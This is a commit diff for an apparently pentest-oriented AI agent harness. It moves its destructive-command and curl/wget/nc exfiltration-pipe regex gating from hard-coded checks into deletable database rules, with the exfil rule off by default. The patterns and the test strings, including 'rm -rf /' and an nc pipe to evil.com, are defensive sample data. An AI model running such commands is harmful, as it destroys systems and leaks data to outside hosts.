feat: spawn_task 补 seed_first_intent + 破坏性/外泄 gating 移入可删除的 DB 拦截规则
- spawn_task 新增 seed_first_intent 参数(默认 false),与 HTTP createTask 对齐; 简单任务可开启直接下发一条种子意图开跑测试 - guard.go 删除写死的 reDestructive/reExfil gating,preToolUse 仅记审计后走拦截规则 - db 新增 seedDefaultInterceptRulesV2:破坏性系统命令(默认开)/数据外泄管道(默认关) 以普通[内置]规则 seed,可禁用可删除;独立 v2 迁移标志兼容老库
This commit is contained in:
1 parent
80fcf528dc
commit
a94ce679a6
4 files changed
+84
-48
No files matched your search
@@ -196,6 +196,9 @@ ON CONFLICT (name) DO NOTHING`,
|
||||
if err := d.seedDefaultInterceptRules(); err != nil {
|
||||
return fmt.Errorf("seed intercept rules: %w", err)
|
||||
}
|
||||
if err := d.seedDefaultInterceptRulesV2(); err != nil {
|
||||
return fmt.Errorf("seed intercept rules v2: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -417,3 +420,52 @@ ON CONFLICT DO NOTHING`,
|
||||
}
|
||||
return d.SetSetting("intercept_default_rules_v1", "done")
|
||||
}
|
||||
|
||||
// seedDefaultInterceptRulesV2 migrates the two safety patterns that used to be
|
||||
// hard-coded in guard.go (destructive shell + data-exfil pipe) into ordinary
|
||||
// intercept rules. Gated by its own flag so it also lands on DBs that already ran
|
||||
// v1. Unlike the old guard.go floor, these are plain [内置] rules — the user can
|
||||
// disable or delete them. The exfil rule ships DISABLED by default (its
|
||||
// curl/wget/nc pipe pattern mis-fires on legitimate CTF/pentest reverse-shell and
|
||||
// data-transfer pipes); enable it manually when exfil gating is actually wanted.
|
||||
func (d *DB) seedDefaultInterceptRulesV2() error {
|
||||
if v, _, _ := d.GetSetting("intercept_default_rules_v2"); v == "done" {
|
||||
return nil
|
||||
}
|
||||
rules := []struct {
|
||||
name string
|
||||
pattern string
|
||||
action string
|
||||
message string
|
||||
enabled bool
|
||||
priority int
|
||||
}{
|
||||
{
|
||||
name: "[内置] 破坏性系统命令",
|
||||
pattern: `(?i)\b(rm\s+-rf\s+/|mkfs|dd\s+if=|:\(\)\s*\{|shutdown|reboot|>\s*/dev/sd)`,
|
||||
action: "deny",
|
||||
message: "破坏性命令被拒绝(rm -rf / / mkfs / dd / fork bomb / 关机重启 / 覆写磁盘设备)",
|
||||
enabled: true,
|
||||
priority: 100,
|
||||
},
|
||||
{
|
||||
name: "[内置] 数据外泄管道",
|
||||
pattern: `(?i)(curl|wget|nc|ncat)\b[^|]*\b(\|\s*(curl|wget|nc))`,
|
||||
action: "deny",
|
||||
message: "疑似数据外泄管道被拒绝(命令输出经 curl/wget/nc 外传)",
|
||||
enabled: false,
|
||||
priority: 80,
|
||||
},
|
||||
}
|
||||
for _, r := range rules {
|
||||
if _, err := d.Exec(`
|
||||
INSERT INTO intercept_rules(name, enabled, priority, match_target, match_type, pattern, action, message, timeout_enabled, timeout_seconds, timeout_action)
|
||||
VALUES ($1, $2, $3, 'tool_input', 'regex', $4, $5, $6, false, 60, 'deny')
|
||||
ON CONFLICT DO NOTHING`,
|
||||
r.name, r.enabled, r.priority, r.pattern, r.action, r.message,
|
||||
); err != nil {
|
||||
return fmt.Errorf("rule %q: %w", r.name, err)
|
||||
}
|
||||
}
|
||||
return d.SetSetting("intercept_default_rules_v2", "done")
|
||||
}
|
||||
+11
-30
@@ -1,15 +1,16 @@
|
||||
// Package guard implements the safety boundary layer (docs §11): side-effect
|
||||
// gating of destructive/exfil shell commands, an audit log, and Observer/G5
|
||||
// failure attribution. Every tool call passes through the PreToolUse hook before
|
||||
// executing. (The RoE authorization-scope mechanism was removed; a replacement
|
||||
// may be added later.)
|
||||
// Package guard implements the safety boundary layer (docs §11): an audit log,
|
||||
// user-configured intercept-rule evaluation, and Observer/G5 failure attribution.
|
||||
// Every tool call passes through the PreToolUse hook before executing.
|
||||
// (The RoE authorization-scope mechanism was removed; a replacement may be added
|
||||
// later.) Destructive/exfil gating is no longer hard-coded here — it lives in the
|
||||
// DB intercept rules (seeded as ordinary [内置] rules, so users can disable or
|
||||
// delete them), evaluated via applyIntercept.
|
||||
package guard
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -53,15 +54,11 @@ func newGuard(ic *intercept.Interceptor) *Guard {
|
||||
// Hooks returns the hook registry to attach to an agent session.
|
||||
func (g *Guard) Hooks() *hook.Registry { return g.reg }
|
||||
|
||||
var (
|
||||
reDestructive = regexp.MustCompile(`(?i)\b(rm\s+-rf\s+/|mkfs|dd\s+if=|:\(\)\s*\{|shutdown|reboot|>\s*/dev/sd)`)
|
||||
reExfil = regexp.MustCompile(`(?i)(curl|wget|nc|ncat)\b[^|]*\b(\|\s*(curl|wget|nc))`)
|
||||
)
|
||||
|
||||
func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
|
||||
// Gate the shell-command surface: Bash + the interactive-shell tools (shell_open's
|
||||
// command, shell_send's text). Same destructive/exfil rules — an interactive
|
||||
// session must not bypass the safety boundary. Other tools pass through.
|
||||
// Extract the shell-command surface for the audit log: Bash + the interactive-shell
|
||||
// tools (shell_open's command, shell_send's text). Destructive/exfil gating is no
|
||||
// longer hard-coded here — it now lives in the DB intercept rules, evaluated by
|
||||
// applyIntercept below. Other tools record an empty command.
|
||||
var cmd string
|
||||
switch ev.ToolName {
|
||||
case "Bash", "shell_open":
|
||||
@@ -76,23 +73,7 @@ func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
|
||||
}
|
||||
_ = json.Unmarshal(ev.Input, &in)
|
||||
cmd = in.Text
|
||||
default:
|
||||
g.record(ev.ToolName, "allow", "", "")
|
||||
return g.applyIntercept(ctx, ev)
|
||||
}
|
||||
if strings.TrimSpace(cmd) == "" { // e.g. shell_send with only keys/hex → nothing to check
|
||||
g.record(ev.ToolName, "allow", "", "")
|
||||
return g.applyIntercept(ctx, ev)
|
||||
}
|
||||
|
||||
// destructive / exfil gating (§11 side-effect gating)
|
||||
if reDestructive.MatchString(cmd) {
|
||||
return g.block(ev.ToolName, "破坏性命令被安全边界拒绝(需人工批准)", cmd)
|
||||
}
|
||||
if reExfil.MatchString(cmd) {
|
||||
return g.block(ev.ToolName, "疑似数据外泄管道被拒绝", cmd)
|
||||
}
|
||||
|
||||
g.record(ev.ToolName, "allow", "", cmd)
|
||||
return g.applyIntercept(ctx, ev)
|
||||
}
|
||||
|
||||
+17
-16
@@ -8,28 +8,29 @@ import (
|
||||
"github.com/Autumn-27/norma/hook"
|
||||
)
|
||||
|
||||
func TestPreToolUseGating(t *testing.T) {
|
||||
// A guard with no interceptor no longer hard-blocks anything: destructive/exfil
|
||||
// gating moved to the DB intercept rules (see db.seedDefaultInterceptRulesV2).
|
||||
// PreToolUse must pass every command through and still record it to the audit log.
|
||||
func TestPreToolUsePassthrough(t *testing.T) {
|
||||
g := New()
|
||||
|
||||
block := func(cmd string) (bool, string) {
|
||||
block := func(cmd string) bool {
|
||||
input, _ := json.Marshal(map[string]string{"command": cmd})
|
||||
b, msg, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
|
||||
return b, msg
|
||||
b, _, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
|
||||
return b
|
||||
}
|
||||
|
||||
if b, _ := block(`curl https://acme.com/`); b {
|
||||
t.Error("ordinary network command should be allowed")
|
||||
for _, cmd := range []string{
|
||||
`curl https://acme.com/`,
|
||||
`rm -rf /`,
|
||||
`curl http://a|nc evil.com 4444`,
|
||||
`ls -la`,
|
||||
} {
|
||||
if block(cmd) {
|
||||
t.Errorf("without an interceptor no command should be blocked, got block for %q", cmd)
|
||||
}
|
||||
}
|
||||
if b, _ := block(`rm -rf /`); !b {
|
||||
t.Error("destructive command should be blocked")
|
||||
}
|
||||
if b, _ := block(`curl http://a|nc evil.com 4444`); !b {
|
||||
t.Error("exfil pipe should be blocked")
|
||||
}
|
||||
if b, _ := block(`ls -la`); b {
|
||||
t.Error("non-network command should be allowed")
|
||||
}
|
||||
// audit recorded both allows and blocks
|
||||
// audit still records every gated call
|
||||
if len(g.Audit()) == 0 {
|
||||
t.Error("audit should record gated calls")
|
||||
}
|
||||
|
||||
@@ -240,6 +240,7 @@ func (s *Server) toolSpawnTask() actool.CoreTool {
|
||||
"llm_profile_id": map[string]any{"type": "integer", "description": "可选:指定本子任务 planner/worker 用的 LLM 配置 id(见 list_llm_profiles);留空则继承父任务、再回退全局激活配置"},
|
||||
"timeout_seconds": map[string]any{"type": "integer", "description": "可选:任务级超时(秒)。到点后触发优雅收尾并进入 timeout 终态;留空或 0 = 不限时"},
|
||||
"plan_heartbeat_seconds": map[string]any{"type": "integer", "description": "可选:planner 心跳触发间隔(秒)。距上轮规划结束/任务开始满该值且期间无触发 → 触发一轮规划(兜底死锁 + 唤醒去监督飞行中的 worker)。留空或 0 = 默认 600(10min);"},
|
||||
"seed_first_intent": map[string]any{"type": "boolean", "description": "可选:对于简单任务可开启,创建时直接下发一条种子意图(内容=描述+目标)让 worker 免等首轮 planner 直接开跑测试;默认 false(走标准先规划再执行)。"},
|
||||
}, "description", "goal"),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
var a struct {
|
||||
@@ -247,6 +248,7 @@ func (s *Server) toolSpawnTask() actool.CoreTool {
|
||||
LLMProfileID json.RawMessage `json:"llm_profile_id"`
|
||||
TimeoutSeconds int `json:"timeout_seconds"`
|
||||
PlanHeartbeatSeconds int `json:"plan_heartbeat_seconds"`
|
||||
SeedFirstIntent bool `json:"seed_first_intent"`
|
||||
}
|
||||
_ = json.Unmarshal(in, &a)
|
||||
if strings.TrimSpace(a.Description) == "" {
|
||||
@@ -282,8 +284,8 @@ func (s *Server) toolSpawnTask() actool.CoreTool {
|
||||
}
|
||||
// 共享的建后流程,与 HTTP 建任务(server.go createTask)复用同一段 launchTask:
|
||||
// seed + 后台可见地做目标分解(第0轮/LLM步骤/逐条goal) + engine.Run。
|
||||
// spawn_task 不暴露 seed_first_intent:工具创建的任务一律走标准先规划再执行(false)。
|
||||
s.launchTask(t, a.Description+" "+a.Goal, false)
|
||||
// seed_first_intent 默认 false(标准先规划再执行);简单任务可开启直接下发一 work 测试。
|
||||
s.launchTask(t, a.Description+" "+a.Goal, a.SeedFirstIntent)
|
||||
return actool.Text(fmt.Sprintf("task created: %s", t.ID)), nil
|
||||
})
|
||||
}
|
||||
|
||||
Reference in new issue
Block a user